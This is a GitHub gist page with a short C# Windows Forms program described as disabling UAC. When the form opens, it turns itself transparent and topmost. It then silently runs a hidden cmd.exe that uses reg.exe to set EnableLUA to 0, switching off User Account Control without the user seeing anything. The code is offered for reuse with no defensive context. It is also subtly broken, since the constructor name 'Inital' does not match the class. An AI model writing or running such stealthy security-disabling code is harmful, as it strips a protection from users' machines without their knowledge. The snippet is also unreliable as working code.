Skip to content

Instantly share code, notes, and snippets.

@Craftzman7
Last active May 1, 2022 17:59
Show Gist options
  • Select an option

  • Save Craftzman7/006c8802e50bb7786ff9a467f638c8ca to your computer and use it in GitHub Desktop.

Select an option

Save Craftzman7/006c8802e50bb7786ff9a467f638c8ca to your computer and use it in GitHub Desktop.
This is some code written in the .NET framework that disables UAC
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
using Microsoft.Win32;
using System.Net;
namespace UACDemo
{
public partial class DisableUAC : Form
{
public Inital()
{
InitializeComponent();
this.TransparencyKey = this.BackColor;
TopMost = true;
ProcessStartInfo disableUac = new ProcessStartInfo();
disableUac.FileName = "cmd.exe";
disableUac.WindowStyle = ProcessWindowStyle.Hidden;
disableUac.Arguments = @"/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f";
Process.Start(disableUac);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment